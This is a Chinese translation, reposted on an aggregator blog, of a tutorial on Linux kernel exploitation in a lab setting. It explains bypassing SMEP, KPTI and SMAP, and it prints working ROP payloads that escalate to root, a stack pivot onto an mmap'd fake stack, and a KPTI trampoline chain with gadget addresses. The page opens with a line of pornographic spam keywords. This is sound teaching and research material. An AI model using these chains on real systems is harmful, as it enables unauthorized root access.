日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux内核提取ret2usr,Linux内核漏洞利用技术详解 Part 2

發布時間:2025/3/12 linux 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux内核提取ret2usr,Linux内核漏洞利用技术详解 Part 2 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

在上一篇文章中,我們不僅為讀者詳細介紹了如何搭建環境,還通過一個具體的例子演示了最簡單的內核漏洞利用技術:ret2usr。在本文中,我們將逐步啟用更多的安全防御機制,即SMEP、KPTI和SMAP,并逐一解釋它們將如何影響我們的漏洞利用方法,以及如何繞過這些防御機制。

啟用SMEP機制

SMEP簡介

SMEP(Supervisormode execution protection,SMEP)機制的作用是,當進程在內核模式下運行時,該防御機制會將頁表中的所有用戶空間的內存頁標記為不可執行的。在內核中,這個功能可以通過設置控制寄存器CR4的第20位來啟用。在啟動時,可以通過在-cpu選項下加入+smep來啟用該防御機制,通過在-append選項下加入nosmep來禁用該機制。

在上一篇文章中,我們曾經通過自己編寫的一段代碼獲得了root權限;但是,在啟用了SMEP機制后,這個策略就行不通了。原因很簡單:我們的代碼是位于用戶空間中的,但是,就像前面說過的那樣,當進程在內核模式下運行時,SMEP機制會將存放我們代碼的頁面標記為不可執行。再回想一下,我們大多數人學習用戶空間pwn的時候,也會遇到堆棧不可執行的情況,所以,在學習了ret2shellcode之后,通常就會開始接觸ROP技術。同樣的概念也適用于內核漏洞利用的學習,在介紹ret2usr技術之后,我將介紹內核ROP技術。

注意事項:正如我在第一篇文章中提到的,這里將假設讀者已經熟悉了用戶空間的漏洞利用知識,因此,我就不再重復解釋什么是ROP了。不過,這是一種非常基礎的技術,所以,讀者可以在網上找到大量介紹資料。

為了更廣泛的涵蓋不同的漏洞利用技術,我將假設2種不同的場景,并分別加以詳細介紹:第一種場景就是我們當前面對的:我們能夠向內核棧寫入任意數量的數據。

第二種場景是:我們只能覆蓋內核棧的返回地址。這將使漏洞利用變得更困難一些。

讓我們從研究第一種場景開始下手。

嘗試覆蓋CR4

如上所述,在內核中,控制寄存器CR4的第20位負責啟用或禁用SMEP機制。而實際上,在內核模式下運行的時候,我們可以通過mov cr4,rdi等asm指令來修改這個寄存器的內容。這樣的指令來自于一個叫native_write_cr4()的函數,它可以用參數覆蓋CR4的內容,并且,該函數本身就駐留在內核空間中。所以,為了繞過SMEP防御機制,我們首先可以嘗試利用ROP技術跳轉到native_write_cr4(value)函數,其中value是精心構造的一個值,可以將CR4的第20位清零。

與commit_creds()和prepare_kernel_cred()函數一樣,我們也可以通過閱讀/proc/kallsyms找到該函數的地址。

cat /proc/kallsyms | grep native_write_cr4

-> ffffffff814443e0 T native_write_cr4

重要提示:對于本文中將要介紹的所有漏洞利用過程,我們只解釋與ret2usr技術不同的部分。與上一篇完全相同的部分是:保存狀態、打開設備、泄漏棧cookie。

實際上,在內核中構建ROP鏈的方式與在用戶空間中使用的方式是完全一致的。因此,在這里,我們不會立即返回到用戶空間的代碼中,而是先返回到native_write_cr4(value)中,再返回到我們的提權代碼中。為了獲取CR4寄存器的當前值,我們可以觸發內核崩潰,并將其轉儲出來(或者在內核上附加一個調試器),以得到該值。

[??? 3.794861]CR2: 0000000000401fd9 CR3: 000000000657c000 CR4: 00000000001006f0

然后,將第20位(地址為0x100000)清零,使該值變為0x6F0。下面給出相應的payload:

unsigned long pop_rdi_ret = 0xffffffff81006370;

unsigned long native_write_cr4 = 0xffffffff814443e0;

void overflow(void){

unsigned n =50;

unsignedlong payload[n];

unsigned off= 16;

payload[off++] = cookie;

payload[off++] = 0x0; // rbx

payload[off++] = 0x0; // r12

payload[off++] = 0x0; // rbp

payload[off++] = pop_rdi_ret; // return address

payload[off++] = 0x6f0;

payload[off++] = native_write_cr4; // native_write_cr4(0x6f0),effectively clear the 20th bit

payload[off++] = (unsigned long)escalate_privs;

puts("[*] Prepared payload");

ssize_t w =write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");

}

對于像pop rdi ; ret這樣的gadget,我們可以通過grepping gadgets.txt輕松找到它們,這個文件是在第一篇文章中通過在內核映像上運行ROPgadget生成的。

注意:在內核映像文件vmlinux中,好像并沒有提供某區段是否可執行的信息,所以,ROPgadget會試圖找出位于該二進制文件中的所有gadget,甚至包括那些不可執行的gadget。也就是說,當我們使用ROPgadget找出的gadget時,如果它是不可執行的,那么內核就會發生崩潰;不過,我們也不必過于擔心,這時只需要嘗試下一個gadget就行了。

理論上講,運行上述代碼后,我們應該會得到一個root shell。然而,在現實中,內核仍然崩潰,更令人困惑的是,崩潰的原因是SMEP機制所致:

[??? 3.770954]unable to execute userspace code (SMEP?) (uid: 1000)

如果我們已經將第20位清零的話,為什么SMEP機制仍然生效呢?我決定用dmesg來看看CR4到底發生了什么狀況,結果發現了下面這行內容:

[??? 3.767510]pinned CR4 bits changed: 0x100000!?

由此看來,CR4的第20位被莫名其妙的“定住”了。為了弄清楚到底咋回事,我找到了native_write_cr4()函數的源代碼:

void native_write_cr4(unsigned long val)

{

unsigned longbits_changed = 0;

set_register:

asmvolatile("mov %0,%%cr4": "+r" (val) : :"memory");

if(static_branch_likely(&cr_pinning)) {

if(unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {

bits_changed= (val & cr4_pinned_mask) ^ cr4_pinned_bits;

val =(val & ~cr4_pinned_mask) | cr4_pinned_bits;

gotoset_register;

}

/* Warnafter we've corrected the changed bits. */

WARN_ONCE(bits_changed,"pinned CR4 bits changed: 0x%lx!?\n",

bits_changed);

}

}

此外,我們還找到了一份與CR4相關位被定住的相關文檔。通過它,我們才知道,在較新的內核版本中,CR4的第20位和第21位在啟動時就被“定住”了,即使該位被清零,也會立即重新被置1,所以,我們已經無法使用前面的方法來覆蓋它了!

所以,我的第一次嘗試以失敗而告終,不過,我們還是有一定的收獲的,至少我們現在知道,即使我們能夠在內核模式下覆蓋CR4,但內核開發者已經意識到了這一點,并設法阻止我們用這種方式來利用內核漏洞。好吧,讓我們繼續開發一個更強大的、真正有效的漏洞利用方法。

構建一個完整的提權ROP鏈

在第二次嘗試中,我們將徹底放棄通過運行自己的代碼來獲取root權限的想法,并嘗試只使用ROP來實現這一任務。實際上,我們的計劃非常簡單:通過ROP轉到prepare_kernel_cred(0)。

通過ROP轉到commit_creds(),參數為步驟1的返回值。

通過ROP轉到swapgs ;ret。

通過ROP轉到iretq,堆棧設置為RIP|CS|RFLAGS|SP|SS。

如您所見,該ROP鏈本身一點都不復雜,但在構建過程中,仍然面臨一些問題。首先,正如我上面提到的,ROPgadget找到的許多gadget是無法正常使用的。因此,我不得不進行多次嘗試,最后用這些gadget把步驟1中的返回值(存儲在rax中)移到rdi中,以傳遞給commit_creds();不過奇怪的是,我嘗試的所有gadget都是不可執行的:

unsigned long pop_rdx_ret = 0xffffffff81007616; // poprdx ; ret

unsigned long cmp_rdx_jne_pop2_ret =0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp; ret

unsigned long mov_rdi_rax_jne_pop2_ret =0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; poprbp ; ret

使用這3個gadget的目的,是在不使用jne的情況下將rax移入rdi。 因此,我必須將值8彈出到rdx中,然后返回到cmp指令以使比較的結果為相等,從而確保我們不會跳轉到jne分支:

...

payload[off++] = pop_rdx_ret;

payload[off++] = 0x8; // rdx

payload[off++] = cmp_rdx_jne_pop2_ret; // make sureJNE doesn't branch

payload[off++] = 0x0; // dummy rbx

payload[off++] = 0x0; // dummy rbp

payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi

payload[off++] = 0x0; // dummy rbx

payload[off++] = 0x0; // dummy rbp

payload[off++] = commit_creds; //commit_creds(prepare_kernel_cred(0))

...

其次,看起來ROPgadget在尋找swapgs方面非常擅長,但是它卻找不到iretq,所以,我必須借助于objdump來查找iretq:

objdump -j .text -d ~/vmlinux | grep iretq | head -1

-> ffffffff8100c0d9:?????? 48 cf?????????????????? iretq

有了這些gadget,我們就可以構建完整的ROP鏈了:

unsigned long user_rip = (unsigned long)get_shell;

unsigned long pop_rdi_ret = 0xffffffff81006370;

unsigned long pop_rdx_ret = 0xffffffff81007616; // poprdx ; ret

unsigned long cmp_rdx_jne_pop2_ret =0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp; ret

unsigned long mov_rdi_rax_jne_pop2_ret =0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; poprbp ; ret

unsigned long commit_creds = 0xffffffff814c6410;

unsigned long prepare_kernel_cred =0xffffffff814c67f0;

unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; //swapgs ; pop rbp ; ret

unsigned long iretq = 0xffffffff8100c0d9;

void overflow(void){

unsigned n =50;

unsignedlong payload[n];

unsigned off= 16;

payload[off++] = cookie;

payload[off++] = 0x0; // rbx

payload[off++] = 0x0; // r12

payload[off++] = 0x0; // rbp

payload[off++]= pop_rdi_ret; // return address

payload[off++] = 0x0; // rdi

payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)

payload[off++] = pop_rdx_ret;

payload[off++] = 0x8; // rdx

payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch

payload[off++] = 0x0; // dummy rbx

payload[off++] = 0x0; // dummy rbp

payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi

payload[off++] = 0x0; // dummy rbx

payload[off++] = 0x0; // dummy rbp

payload[off++] = commit_creds; //commit_creds(prepare_kernel_cred(0))

payload[off++] = swapgs_pop1_ret; // swapgs

payload[off++] = 0x0; // dummy rbp

payload[off++] = iretq; // iretq fr ame

payload[off++] = user_rip;

payload[off++] = user_cs;

payload[off++] = user_rflags;

payload[off++] = user_sp;

payload[off++] = user_ss;

puts("[*] Prepared payload");

ssize_t w =write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");

}

這樣,我們成功地構建了一個繞過SMEP機制,并能在第一種場景下打開root shell的漏洞利用代碼。讓我們繼續看看在第二種情況下,我們可能會面臨什么樣的困難。

堆棧pivot技術

很明顯,如果我們只能溢出到返回地址的話,將無法把整個ROP鏈都裝到棧中。為了克服這個問題,我們將再次使用一種在用戶空間漏洞利用領域也相當流行的技術:堆棧pivot。這是一種修改rsp,使其指向一個受控的可寫地址,從而有效地創建了一個“假棧”的技術。然而,對于用戶空間中的堆棧pivot技術來說,常常需要覆蓋一個已保存的函數RBP,然后從那里返回;而在內核中的pivot技術則簡單得多。因為內核映像存在大量的gadget,我們可以尋找那些修改rsp/esp本身的gadget。我們最感興趣的,就是那些將常量值移入esp的gadget,同時,還要確保這些gadget是可執行的,并且常量值是已經正確對齊的。下面展示的是我選用的gadget:

unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a;// mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret

也就是說,我們將用它來覆蓋返回地址,但在此之前,我們必須先搭建好“假棧”。由于之后esp會變成0x5b000000,因此,我們可以在該位置映射一個固定的內存頁,然后將我們的ROP鏈寫入其中:

void build_fake_stack(void){

fake_stack =mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);

unsigned off= 0x1000 / 8;

fake_stack[0] = 0xdead; // put something in the first page to preventfault

fake_stack[off++] = 0x0; // dummy r12

fake_stack[off++] = 0x0; // dummy rbp

fake_stack[off++] = pop_rdi_ret;

... // therest of the chain is the same as the last payload

}

在上面的代碼中,有2個地方需要注意:我把內存頁映射到了一個區間0x5b000000-0x1000,而不是精確的地址0x5b000000。這是因為像prepare_kernel_cred()和commit_creds()這樣的函數,會調用內部的其他函數,導致堆棧增長。如果我們讓esp指向頁面的確切起始點,堆棧就沒有足夠的空間來增長,就會崩潰。

我必須在第一頁中寫入一個虛設值,否則就會導致Double Fault故障。根據我的理解,原因是頁面只有在被訪問后才會被插入到頁表中,而不是在被映射后就會插入。我們映射了0x2000字節,相當于2個頁面,并且把ROP鏈全部放在第二頁中,所以,我們也要訪問一下第一頁。

上面就是在只能溢出棧到返回地址的情況下,獲得一個root shell的具體方法。我對繞過SMEP的介紹也到此結束,接下來,讓我們再啟用另外一個防御措施,即KPTI。

啟用KPTI機制

關于KPTI

KPTI(Kernelpage-table isolation)是將用戶空間和內核空間的頁表完全隔離,而不是只使用一組同時包含用戶空間和內核空間地址的頁表的安全機制。跟以前一樣,仍然有一組頁表同時包含內核空間和用戶空間地址,但它僅在系統運行在內核模式時使用。在用戶模式下使用的第二組頁表包含用戶空間的副本和最少的內核空間地址集。KPTI機制可以通過在-append選項下添加kpti=1或nopti來啟用/禁用。

這個特性是內核特有的,準確來說,它是為了防止Linux內核崩潰而引入的,因此,在用戶空間中,沒有相應的機制可以與之類比。首先,試圖運行上一節中的任何漏洞利用代碼都會導致死機。但有趣的是,死機是正常的用戶空間Segmentation故障所致,而不是內核崩潰所致。原因是:雖然代碼已經從內核模式返回到用戶模式,但它所使用的頁表仍然是內核的,而用戶空間的所有頁面都被標記為不可執行。

實際上,繞過KPTI機制的方法一點都不復雜,例如下面是我在一些文章中讀到的兩種方法:使用信號處理程序(該方法源自@ntrung03撰寫的一篇文章):這是一個非常巧妙的解決方案,并且非常簡單。這種方法的思路是,因為我們要處理的是用戶空間中的一個SIGSEGV,因此,可以直接在main函數中插入一行代碼:signal(SIGSEGV, get_shell);,為其添加一個調用get_shell()的信號處理程序。不過我還是沒有完全理解一件事情:因為不管出于什么原因,即使處理程序get_shell()本身也駐留在不可執行的頁面中,但如果捕捉到一個SIGSEGV,它仍然可以正常執行(而不是無限期地循環處理程序或執行默認處理程序或未定義的行為等),但它確實管用。

使用KPTI蹦床(被大多數相關文章所采用):這個方法是基于這樣的想法,即如果一個syscall正常返回,內核中一定有一段代碼會把頁表換回用戶空間的頁表,所以我們可以嘗試重用那段代碼來達到自己的目的。這段代碼通常被稱為KPTI蹦床,它的作用是切換頁表、swapgs和iretq。我們將深入研究這種方法。

調整ROP鏈

這段代碼駐留在一個名為swapgs_restore_regs_and_return_to_usermode()的函數中,我們也可以通過閱讀/proc/kallsyms找到它的地址。

cat /proc/kallsyms | grepswapgs_restore_regs_and_return_to_usermode

-> ffffffff81200f10 Tswapgs_restore_regs_and_return_to_usermode

我們可以使用IDA考察該函數的開頭部分:

.text:FFFFFFFF81200F10???????????????? pop???? r15

.text:FFFFFFFF81200F12???????????????? pop???? r14

.text:FFFFFFFF81200F14???????????????? pop???? r13

.text:FFFFFFFF81200F16???????????????? pop???? r12

.text:FFFFFFFF81200F18???????????????? pop??? ?rbp

.text:FFFFFFFF81200F19???????????????? pop???? rbx

.text:FFFFFFFF81200F1A???????????????? pop???? r11

.text:FFFFFFFF81200F1C???????????????? pop???? r10

.text:FFFFFFFF81200F1E???????????????? pop???? r9

.text:FFFFFFFF81200F20???????????????? pop???? r8

.text:FFFFFFFF81200F22???????????????? pop???? rax

.text:FFFFFFFF81200F23???????????????? pop???? rcx

.text:FFFFFFFF81200F24???????????????? pop???? rdx

.text:FFFFFFFF81200F25???????????????? pop???? rsi

.text:FFFFFFFF81200F26???????????????? mov???? rdi, rsp

.text:FFFFFFFF81200F29???????????????? mov???? rsp, qword ptr gs:unk_6004

.text:FFFFFFFF81200F32???????????????? push??? qword ptr [rdi+30h]

.text:FFFFFFFF81200F35???????????????? push??? qword ptr [rdi+28h]

.text:FFFFFFFF81200F38???????????????? push??? qword ptr [rdi+20h]

.text:FFFFFFFF81200F3B???????????????? push??? qword ptr [rdi+18h]

.text:FFFFFFFF81200F3E???????????????? push??? qword ptr [rdi+10h]

.text:FFFFFFFF81200F41???????????????? push??? qword ptr [rdi]

.text:FFFFFFFF81200F43???????????????? push??? rax

.text:FFFFFFFF81200F44???????????????? jmp???? short loc_FFFFFFFF81200F89

...

如您所見,它首先通過從堆棧中彈出的值來恢復大量寄存器。但是,我們真正感興趣的是它切換頁表、swaps和iretq的部分,而不是這一部分。雖然只需將ROP插入該函數的開頭處即可正常工作,但由于這需要插入許多虛設的寄存器值,因此,會不必要地擴大了我們的ROP鏈的長度。這樣的話,我們的KPTI蹦床將位于swapgs_restore_regs_and_return_to_usermode + 22處,這就是第一個mov指令的地址。

恢復初始寄存器后,以下才是對我們有用的部分:

.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:

.text:FFFFFFFF81200F89?????????????????????????????? pop???? rax

.text:FFFFFFFF81200F8A?????????????????????????????? pop???? rdi

.text:FFFFFFFF81200F8B?????????????????????????????? call??? cs:off_FFFFFFFF82040088

.text:FFFFFFFF81200F91??????????????????????? ???????jmp????cs:off_FFFFFFFF82040080

...

.text.native_swapgs:FFFFFFFF8146D4E0???????????????? push??? rbp

.text.native_swapgs:FFFFFFFF8146D4E1???????????????? mov???? rbp, rsp

.text.native_swapgs:FFFFFFFF8146D4E4???????????????? swapgs

.text.native_swapgs:FFFFFFFF8146D4E7???????????????? pop???? rbp

.text.native_swapgs:FFFFFFFF8146D4E8???????????????? retn

...

.text:FFFFFFFF8120102E?????????????????????????????? mov???? rdi, cr3

.text:FFFFFFFF81201031?????????????????????????????? jmp???? short loc_FFFFFFFF81201067

...

.text:FFFFFFFF81201067?????????????????????????????? or????? rdi, 1000h

.text:FFFFFFFF8120106E?????????????????????????????? mov???? cr3, rdi

...

.text:FFFFFFFF81200FC7?????????????????????????????? iretq

注意,由于開頭部分多了2個pop指令,所以,我們必須在ROP鏈中放入2個虛設值。之后的代碼用于實現頁表切換,即通過修改控制寄存器CR3來切換頁表,最后是iretq。我們將修改ROP鏈的最后一部分,從SWAPGS|IRETQ|RIP|CS|RFLAGS|SP|SS 調整為 KPTI_trampoline|dummyRAX|dummy RDI|RIP|CS|RFLAGS|SP|SS 。

void overflow(void){

// ...

payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))

payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode+ 22

payload[off++] = 0x0; // dummy rax

payload[off++] = 0x0; // dummy rdi

payload[off++] = user_rip;

payload[off++] = user_cs;

payload[off++] = user_rflags;

payload[off++] = user_sp;

payload[off++]= user_ss;

// ...

}

小貼士:這個payload不僅比上一節介紹的payload更易于構建,同時,無論是否啟用KPTI機制,它都能正常工作(大多數時候KPTI會和SMEP一起啟用)。因此,建議將其作為默認payload;對于之前的payload,只可用于演示。在面對第二種情況時,可以將堆棧用作跳板,并將這個payload放到偽造的堆棧中。

至此,我們就干凈利落地繞過了KPTI安全機制。下面,讓我們進入本文的最后一節,討論一下SMAP機制的相關問題。

啟用SMAP機制

SMAP(SupervisorMode Access Prevention,SMAP),是為了補充SMEP而引入的一種緩解機制:當進程處于內核模式時,該機制會將頁表中所有用戶空間的內存頁標記為不可訪問,也就是說不能對其進行讀寫操作。在內核中,可以通過設置控制寄存器CR4的第21位來啟用這個防御機制;在啟動時,可以通過在-cpu選項下加入+smap來啟用該機制,通過在-append選項下加入nosmap來禁用該機制。

在兩種場景下,情況會有很大的不同:在第一種場景下,我們的整個ROP鏈都存儲在內核堆棧上,并且不會從用戶空間訪問任何數據。因此,我們之前的payload仍然是可用的,無需任何修改。

在第二種場景下,我們實際上是將堆棧轉變成了用戶空間的一個內存頁面。我們知道,對于像壓入和彈出堆棧這樣的操作,是需要對堆棧進行讀寫訪問的,而SMAP機制則禁止進行這些操作。因此,基于堆棧pivot的payload將無法使用。事實上,據我所知,我們目前針對棧的讀寫原語還不足以成功利用該漏洞,所以,我們需要更強大的原語來利用內核模塊的漏洞,這可能涉及到內存頁表和頁目錄方面的知識,或者其他一些高級主題。對于本文來說,這些主題太復雜了,這里就不深入介紹了。如果將來有機會,我們再進行介紹。

小結

在這篇文章中,我為讀者演示了在2種不同的情況下繞過SMEP、KPTI和SMAP等安全機制的流行方法;其中,第一種情況是我們能夠在堆棧上有無限溢出,第二種情況則是沒有這種能力。本文中,我們介紹所有的漏洞利用技術都是圍繞ROP的概念進行的,并且要借助于內核自身中的多個gadget和代碼片段。

附錄

本文由secM整理并翻譯,不代表白帽匯任何觀點和立場

來源:https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/

總結

以上是生活随笔為你收集整理的linux内核提取ret2usr,Linux内核漏洞利用技术详解 Part 2的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。